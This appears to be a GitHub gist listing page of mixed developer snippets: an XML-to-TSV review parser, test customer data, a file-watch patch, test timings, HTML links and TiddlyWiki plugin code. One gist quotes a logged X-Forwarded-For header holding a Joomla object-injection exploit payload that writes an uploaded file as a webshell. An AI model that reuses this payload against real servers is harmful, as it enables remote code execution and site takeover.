Skip to content

Instantly share code, notes, and snippets.

@jayfresh
jayfresh / charlie-hr-company-xml-parser.js
Last active August 31, 2021 16:29
Extracts people's reviews from CharlieHR company.xml export, saves as TSV
var fs = require('fs'),
xml2js = require('xml2js');
var parser = new xml2js.Parser();
fs.readFile(__dirname + '/company.xml', function(err, data) {
parser.parseString(data, function (err, result) {
var team = result.company['team-members'][0]['team-member'];
var lines = [];
team.forEach(member => {
// create a line for each review, with the email as the first column
@jayfresh
jayfresh / gist:ea853af2ccfb44d9c94d87df4c34b001
Created July 20, 2016 18:20
I'm guessing this is not a legitimate HTTP header...
"x-forwarded-for": "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:137:\"print copy($_FILES[file][tmp_name],dirname(JFactory::getConfig()->get(base64_decode(bG9nX3BhdGg))).base64_decode(L3RtcC9zZngucGhw));exit;\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}ðýýý, 83.143.240.37"
{
"customer": {
"firstName": "Test",
"middleName": "Robert",
"surname": "Customer",
"title": "Mr",
"houseNameNumber": "38",
"street": "Test Street",
"town": "BigTown",
"locality": "BigCity",
@jayfresh
jayfresh / gist:fe8416ddce15b2c5038b
Last active August 29, 2015 14:23
hbs-utils using vinyl-fs for the watch method
// based on https://github.com/dpolivy/hbs-utils/blob/master/lib/hbs-utils.js
// modified to use vinyl-fs to watch files so it works with docker-mounted Windows volumes (possibly NFS)
var fs = require('fs'),
path = require('path'),
walk = require('../../node_modules/hbs-utils/node_modules/walk').walk,
watch = require('vinyl-fs').watch; // instead of node-watch
// Precompile a partial
var precompilePartialHelper = function(handlebars, partial) {
Image service - S3 client acess - 1652 ms
should allow access to uploaded files by the app - 1041 ms
should not allow web access to uploaded files - 392 ms
should not allow an unauthorised user to access the bucket - 218 ms
Image service - upload limit - 972 ms
should reject uploads if they are over 2MB - 652 ms
should allow uploads if they are under 2MB - 320 ms
#uploadFileForPublicAccess - 341 ms
<strong>T: 020 7655 4820</strong>
<a href="http://sweetspot.com/"><strong>sweetspot.com</strong></a>
<a href="https://www.facebook.com/sweetspothomes?fref=ts"><strong>Facebook/sweetpothomes</strong></a>
<a href="http://www.twitter.com/sweetspothomes"><strong>@sweetspothomes</strong></a>
<a href="http://www.pinterest.com/sweetspothome/"><strong>Pinterest</strong></a>
/*\
title: $:/plugins/jayfresh/tiddler-server/tiddler-server.js
type: application/javascript
module-type: command
A server command to serve tiddlers as HTML as well as the main server API
\*/
(function(){
@jayfresh
jayfresh / gist:22ec848f7aa90aaf461f
Created October 27, 2014 12:40
acceptance tests
Acceptance tests - 12715 ms
Organisations and their properties - 74 ms
Organisations have access to only their own properties - 74 ms
Inviting Users to Organisations - 176 ms
should send them a token in an email - 73 ms
should send long, non-guessable tokens - 46 ms
following the token link and setting up an account should put the User in the Organisation - 57 ms
@jayfresh
jayfresh / gist:f8e61419c3c56e1a7448
Created September 4, 2014 18:31
modal widgets - how to close them
/*
This is a paraphrased version of some code I'm working on.
What I'm trying to achieve is:
- open a modal with a custom footer (see 'footer' property of the addTiddler call)
- the footer contains a $button widget with a custom message
- listen for the custom message on $tw.rootWidget and update localstorage to note the button has been clicked
- then close the modal and show another div
I've got as far as the last step. The event handler on $tw.rootWidget doesn't give me any
<tr class="<<view direction>>"><td><span class="call-title"><$view field="title"/> (<$view field="duration"/>m)</span></td><td><$list filter=[is[current]tags[]] template="$:/themes/pio-theme/TagTemplate" storyview="pop" itemClass="tw-tag-list-item"/></td></tr>
or
<tr class="<$view field='direction'/>"><td><span class="call-title"><$view field="title"/> (<$view field="duration"/>m)</span></td><td><$list filter=[is[current]tags[]] template="$:/themes/pio-theme/TagTemplate" storyview="pop" itemClass="tw-tag-list-item"/></td></tr>